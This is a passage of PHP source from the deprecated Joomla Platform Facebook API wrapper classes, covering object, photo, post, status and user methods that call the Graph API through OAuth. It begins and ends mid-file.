* @param string $path The path of the request to make.
* @param mixed $data Either an associative array or a string to
be sent with the post request.
* @param array $headers An array of name-value pairs to include in
the header of the request
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The request response.
*
* @since 3.2.0
* @throws DomainException
*/
public function sendRequest($path, $data = '', array $headers =
null, $limit = 0, $offset = 0, $until = null, $since = null)
{
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $limit,
$offset, $until, $since), $headers);
$response = json_decode($response->body);
// Validate the response.
if (property_exists($response, 'error'))
{
throw new RuntimeException($response->error->message);
}
return $response;
}
/**
* Method to get an object.
*
* @param string $object The object id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function get($object)
{
if ($this->oauth != null)
{
if ($this->oauth->isAuthenticated())
{
$response = $this->oauth->query($this->fetchUrl($object));
return json_decode($response->body);
}
else
{
return false;
}
}
// Send the request.
return $this->sendRequest($object);
}
/**
* Method to get object's connection.
*
* @param string $object The object id.
* @param string $connection The object's connection name.
* @param string $extraFields URL fields.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted
by strtotime.
* @param string $since A unix timestamp or any date accepted
by strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getConnection($object, $connection = null, $extraFields =
'', $limit = 0, $offset = 0, $until = null, $since = null)
{
$path = $object . '/' . $connection . $extraFields;
if ($this->oauth != null)
{
if ($this->oauth->isAuthenticated())
{
$response = $this->oauth->query($this->fetchUrl($path, $limit,
$offset, $until, $since));
if (strcmp($response->body, ''))
{
return json_decode($response->body);
}
else
{
return $response->headers['Location'];
}
}
else
{
return false;
}
}
// Send the request.
return $this->sendRequest($path, '', null, $limit, $offset,
$until, $since);
}
/**
* Method to create a connection.
*
* @param string $object The object id.
* @param string $connection The object's connection name.
* @param array $parameters The POST request parameters.
* @param array $headers An array of name-value pairs to include
in the header of the request
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createConnection($object, $connection = null, $parameters
= null, array $headers = null)
{
if ($this->oauth->isAuthenticated())
{
// Build the request path.
if ($connection != null)
{
$path = $object . '/' . $connection;
}
else
{
$path = $object;
}
// Send the post request.
$response = $this->oauth->query($this->fetchUrl($path),
$parameters, $headers, 'post');
return json_decode($response->body);
}
else
{
return false;
}
}
/**
* Method to delete a connection.
*
* @param string $object The object id.
* @param string $connection The object's connection name.
* @param string $extraFields URL fields.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteConnection($object, $connection = null, $extraFields
= '')
{
if ($this->oauth->isAuthenticated())
{
// Build the request path.
if ($connection != null)
{
$path = $object . '/' . $connection . $extraFields;
}
else
{
$path = $object . $extraFields;
}
// Send the delete request.
$response = $this->oauth->query($this->fetchUrl($path), null,
array(), 'delete');
return json_decode($response->body);
}
else
{
return false;
}
}
/**
* Method used to set the OAuth client.
*
* @param JFacebookOAuth $oauth The OAuth client object.
*
* @return JFacebookObject This object for method chaining.
*
* @since 3.2.0
*/
public function setOAuth($oauth)
{
$this->oauth = $oauth;
return $this;
}
/**
* Method used to get the OAuth client.
*
* @return JFacebookOAuth The OAuth client
*
* @since 3.2.0
*/
public function getOAuth()
{
return $this->oauth;
}
}
facebook/photo.php000064400000016733151171674100010174 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Photo class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/photo/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookPhoto extends JFacebookObject
{
/**
* Method to get a photo. Requires authentication and user_photos or
friends_photos permission for private photos.
*
* @param string $photo The photo id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPhoto($photo)
{
return $this->get($photo);
}
/**
* Method to get a photo's comments. Requires authentication and
user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($photo, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($photo, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to comment on a photo. Requires authentication and
publish_stream permission, user_photos or friends_photos permission for
private photos.
*
* @param string $photo The photo id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($photo, $message)
{
// Set POST request parameters.
$data['message'] = $message;
return $this->createConnection($photo, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission, user_photos or friends_photos permission for private photos.
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get photo's likes. Requires authentication and
user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($photo, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($photo, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a photo. Requires authentication and publish_stream
permission, user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($photo)
{
return $this->createConnection($photo, 'likes');
}
/**
* Method to unlike a photo. Requires authentication and publish_stream
permission, user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($photo)
{
return $this->deleteConnection($photo, 'likes');
}
/**
* Method to get the Users tagged in the photo. Requires authentication
and user_photos or friends_photos permission for private photos.
*
* @param string $photo The photo id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getTags($photo, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($photo, 'tags', '',
$limit, $offset, $until, $since);
}
/**
* Method to tag one or more Users in a photo. $to or $tagText required.
* Requires authentication and publish_stream permission, user_photos
permission for private photos.
*
* @param string $photo The photo id.
* @param mixed $to ID of the User or an array of Users to tag
in the photo: [{"id":"1234"},
{"id":"12345"}].
* @param string $tagText A text string to tag.
* @param integer $x x coordinate of tag, as a percentage offset
from the left edge of the picture.
* @param integer $y y coordinate of tag, as a percentage offset
from the top edge of the picture.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createTag($photo, $to = null, $tagText = null, $x = null,
$y = null)
{
// Set POST request parameters.
if (is_array($to))
{
$data['tags'] = $to;
}
else
{
$data['to'] = $to;
}
if ($tagText)
{
$data['tag_text'] = $tagText;
}
if ($x)
{
$data['x'] = $x;
}
if ($y)
{
$data['y'] = $y;
}
return $this->createConnection($photo, 'tags', $data);
}
/**
* Method to update the position of the tag for a particular Users in a
photo.
* Requires authentication and publish_stream permission, user_photos
permission for private photos.
*
* @param string $photo The photo id.
* @param string $to ID of the User to update tag in the photo.
* @param integer $x x coordinate of tag, as a percentage offset
from the left edge of the picture.
* @param integer $y y coordinate of tag, as a percentage offset
from the top edge of the picture.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function updateTag($photo, $to, $x = null, $y = null)
{
// Set POST request parameters.
$data['to'] = $to;
if ($x)
{
$data['x'] = $x;
}
if ($y)
{
$data['y'] = $y;
}
return $this->createConnection($photo, 'tags', $data);
}
/**
* Method to get the album-sized view of the photo. Requires
authentication and user_photos or friends_photos permission for private
photos.
*
* @param string $photo The photo id.
* @param boolean $redirect If false this will return the URL of the
picture without a 302 redirect.
*
* @return string URL of the picture.
*
* @since 3.2.0
*/
public function getPicture($photo, $redirect = true)
{
$extra_fields = '';
if ($redirect == false)
{
$extra_fields = '?redirect=false';
}
return $this->getConnection($photo, 'picture',
$extra_fields);
}
}
facebook/post.php000064400000010157151171674100010022 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Post class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/post/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookPost extends JFacebookObject
{
/**
* Method to get a post. Requires authentication and read_stream
permission for all data.
*
* @param string $post The post id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPost($post)
{
return $this->get($post);
}
/**
* Method to delete a post if it was created by this application. Requires
authentication and publish_stream permission
*
* @param string $post The post id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deletePost($post)
{
return $this->deleteConnection($post);
}
/**
* Method to get a post's comments. Requires authentication and
read_stream permission.
*
* @param string $post The post id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($post, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($post, 'comments', '',
$limit, $offset, $until, $since);
}
/**
* Method to comment on a post. Requires authentication and publish_stream
permission
*
* @param string $post The post id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($post, $message)
{
// Set POST request parameters.
$data['message'] = $message;
return $this->createConnection($post, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get post's likes. Requires authentication and
read_stream permission.
*
* @param string $post The post id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($post, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($post, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a post. Requires authentication and publish_stream
permission
*
* @param string $post The post id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($post)
{
return $this->createConnection($post, 'likes');
}
/**
* Method to unlike a post. Requires authentication and publish_stream
permission
*
* @param string $post The post id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($post)
{
return $this->deleteConnection($post, 'likes');
}
}
facebook/status.php000064400000010042151171674100010351 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Status class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/status/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookStatus extends JFacebookObject
{
/**
* Method to get a status message. Requires authentication.
*
* @param string $status The status message id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getStatus($status)
{
return $this->get($status);
}
/**
* Method to get a status message's comments. Requires
authentication.
*
* @param string $status The status message id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($status, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($status, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to post a comment to the status message. Requires authentication
and publish_stream and user_status or friends_status permission.
*
* @param string $status The status message id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($status, $message)
{
// Set POST request parameters.
$data['message'] = $message;
return $this->createConnection($status, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
and user_status or friends_status permission.
*
* @param string $comment The comment's id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get a status message's likes. Requires authentication.
*
* @param string $status The status message id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($status, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($status, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like status message. Requires authentication and
publish_stream and user_status or friends_status permission.
*
* @param string $status The status message id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLike($status)
{
return $this->createConnection($status, 'likes');
}
/**
* Method to unlike a status message. Requires authentication and
publish_stream and user_status or friends_status permission.
*
* @param string $status The status message id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteLike($status)
{
return $this->deleteConnection($status, 'likes');
}
}
facebook/user.php000064400000116405151171674100010016 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API User class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/user/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookUser extends JFacebookObject
{
/**
* Method to get the specified user's details. Authentication is
required only for some fields.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getUser($user)
{
return $this->get($user);
}
/**
* Method to get the specified user's friends. Requires
authentication.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFriends($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'friends', '',
$limit, $offset);
}
/**
* Method to get the user's incoming friend requests. Requires
authentication and read_requests permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFriendRequests($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'friendrequests',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the user's friend lists. Requires authentication and
read_friendlists permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFriendLists($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'friendlists',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the user's wall. Requires authentication and
read_stream permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFeed($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'feed', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the user's news feed. Requires authentication and
read_stream permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $filter User's stream filter.
* @param boolean $location Retrieve only posts with a location
attached.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getHome($user, $filter = null, $location = false, $limit =
0, $offset = 0, $until = null, $since = null)
{
$extra_fields = '';
if ($filter != null)
{
$extra_fields = '?filter=' . $filter;
}
if ($location == true)
{
$extra_fields .= (strpos($extra_fields, '?') === false) ?
'?with=location' : '&with=location';
}
return $this->getConnection($user, 'home', $extra_fields,
$limit, $offset, $until, $since);
}
/**
* Method to see if a user is a friend of the current user. Requires
authentication.
*
* @param mixed $currentUser Either an integer containing the user ID
or a string containing the username for the current user.
* @param mixed $user Either an integer containing the user ID
or a string containing the username for the user.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function hasFriend($currentUser, $user)
{
return $this->getConnection($currentUser, 'friends/' .
$user);
}
/**
* Method to get mutual friends of one user and the current user. Requires
authentication.
*
* @param mixed $currentUser Either an integer containing the user
ID or a string containing the username for the current user.
* @param mixed $user Either an integer containing the user
ID or a string containing the username for the user.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMutualFriends($currentUser, $user, $limit = 0, $offset
= 0)
{
return $this->getConnection($currentUser, 'mutualfriends/' .
$user, '', $limit, $offset);
}
/**
* Method to get the user's profile picture. Requires authentication.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param boolean $redirect If false this will return the URL of the
profile picture without a 302 redirect.
* @param string $type To request a different photo use square |
small | normal | large.
*
* @return string The URL to the user's profile picture.
*
* @since 3.2.0
*/
public function getPicture($user, $redirect = true, $type = null)
{
$extra_fields = '';
if ($redirect == false)
{
$extra_fields = '?redirect=false';
}
if ($type != null)
{
$extra_fields .= (strpos($extra_fields, '?') === false) ?
'?type=' . $type : '&type=' . $type;
}
return $this->getConnection($user, 'picture',
$extra_fields);
}
/**
* Method to get the user's family relationships. Requires
authentication and user_relationships permission..
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getFamily($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'family', '',
$limit, $offset);
}
/**
* Method to get the user's notifications. Requires authentication
and manage_notifications permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param boolean $read Enables you to see notifications that the
user has already read.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getNotifications($user, $read = null, $limit = 0, $offset
= 0, $until = null, $since = null)
{
if ($read == true)
{
$read = '?include_read=1';
}
// Send the request.
return $this->getConnection($user, 'notifications', $read,
$limit, $offset, $until, $since);
}
/**
* Method to mark a notification as read. Requires authentication and
manage_notifications permission.
*
* @param string $notification The notification id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function updateNotification($notification)
{
$data['unread'] = 0;
return $this->createConnection($notification, null, $data);
}
/**
* Method to get the user's permissions. Requires authentication.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPermissions($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'permissions',
'', $limit, $offset);
}
/**
* Method to revoke a specific permission on behalf of a user. Requires
authentication.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $permission The permission to revoke. If none
specified, then this will de-authorize the application completely.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deletePermission($user, $permission = '')
{
return $this->deleteConnection($user, 'permissions',
'?permission=' . $permission);
}
/**
* Method to get the user's albums. Requires authentication and
user_photos or friends_photos permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getAlbums($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'albums', '',
$limit, $offset, $until, $since);
}
/**
* Method to create an album for a user. Requires authentication and
publish_stream permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $name Album name.
* @param string $description Album description.
* @param string $privacy A JSON-encoded object that defines the
privacy setting for the album.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createAlbum($user, $name, $description = null, $privacy =
null)
{
// Set POST request parameters.
$data = array();
$data['name'] = $name;
$data['description'] = $description;
$data['privacy'] = $privacy;
return $this->createConnection($user, 'albums', $data);
}
/**
* Method to get the user's checkins. Requires authentication and
user_checkins or friends_checkins permission
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getCheckins($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'checkins', '',
$limit, $offset, $until, $since);
}
/**
* Method to create a checkin for a user. Requires authentication and
publish_checkins permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $place Id of the Place Page.
* @param string $coordinates A JSON-encoded string containing
latitute and longitude.
* @param string $tags Comma separated list of USER_IDs.
* @param string $message A message to add to the checkin.
* @param string $link A link to add to the checkin.
* @param string $picture A picture to add to the checkin.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createCheckin($user, $place, $coordinates, $tags = null,
$message = null, $link = null, $picture = null)
{
// Set POST request parameters.
$data = array();
$data['place'] = $place;
$data['coordinates'] = $coordinates;
$data['tags'] = $tags;
$data['message'] = $message;
$data['link'] = $link;
$data['picture'] = $picture;
return $this->createConnection($user, 'checkins', $data);
}
/**
* Method to get the user's likes. Requires authentication and
user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to see if a user likes a specific Page. Requires authentication.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the username.
* @param string $page Facebook ID of the Page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function likesPage($user, $page)
{
return $this->getConnection($user, 'likes/' . $page);
}
/**
* Method to get the current user's events. Requires authentication
and user_events or friends_events permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getEvents($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'events', '',
$limit, $offset, $until, $since);
}
/**
* Method to create an event for a user. Requires authentication
create_event permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $name Event name.
* @param string $startTime Event start time as UNIX timestamp.
* @param string $endTime Event end time as UNIX timestamp.
* @param string $description Event description.
* @param string $location Event location.
* @param string $locationId Facebook Place ID of the place the Event
is taking place.
* @param string $privacyType Event privacy setting, a string
containing 'OPEN' (default), 'CLOSED', or
'SECRET'.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createEvent($user, $name, $startTime, $endTime = null,
$description = null,
$location = null, $locationId = null, $privacyType = null)
{
// Set POST request parameters.
$data = array();
$data['start_time'] = $startTime;
$data['name'] = $name;
$data['end_time'] = $endTime;
$data['description'] = $description;
$data['location'] = $location;
$data['location_id'] = $locationId;
$data['privacy_type'] = $privacyType;
return $this->createConnection($user, 'events', $data);
}
/**
* Method to edit an event. Requires authentication create_event
permission.
*
* @param mixed $event Event ID.
* @param string $name Event name.
* @param string $startTime Event start time as UNIX timestamp.
* @param string $endTime Event end time as UNIX timestamp.
* @param string $description Event description.
* @param string $location Event location.
* @param string $locationId Facebook Place ID of the place the Event
is taking place.
* @param string $privacyType Event privacy setting, a string
containing 'OPEN' (default), 'CLOSED', or
'SECRET'.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function editEvent($event, $name = null, $startTime = null,
$endTime = null, $description = null,
$location = null, $locationId = null, $privacyType = null)
{
// Set POST request parameters.
$data = array();
$data['start_time'] = $startTime;
$data['name'] = $name;
$data['end_time'] = $endTime;
$data['description'] = $description;
$data['location'] = $location;
$data['location_id'] = $locationId;
$data['privacy_type'] = $privacyType;
return $this->createConnection($event, null, $data);
}
/**
* Method to delete an event. Note: you can only delete the event if it
was created by the same app. Requires authentication create_event
permission.
*
* @param string $event Event ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteEvent($event)
{
return $this->deleteConnection($event);
}
/**
* Method to get the groups that the user belongs to. Requires
authentication and user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getGroups($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'groups', '',
$limit, $offset);
}
/**
* Method to get the user's posted links. Requires authentication and
user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLinks($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'links', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a link on user's feed. Requires authentication and
publish_stream permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param string $link Link URL.
* @param string $message Link message.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLink($user, $link, $message = null)
{
// Set POST request parameters.
$data = array();
$data['link'] = $link;
$data['message'] = $message;
return $this->createConnection($user, 'feed', $data);
}
/**
* Method to delete a link. Requires authentication and publish_stream
permission.
*
* @param mixed $link The Link ID.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLink($link)
{
return $this->deleteConnection($link);
}
/**
* Method to get the user's notes. Requires authentication and
user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getNotes($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'notes', '',
$limit, $offset, $until, $since);
}
/**
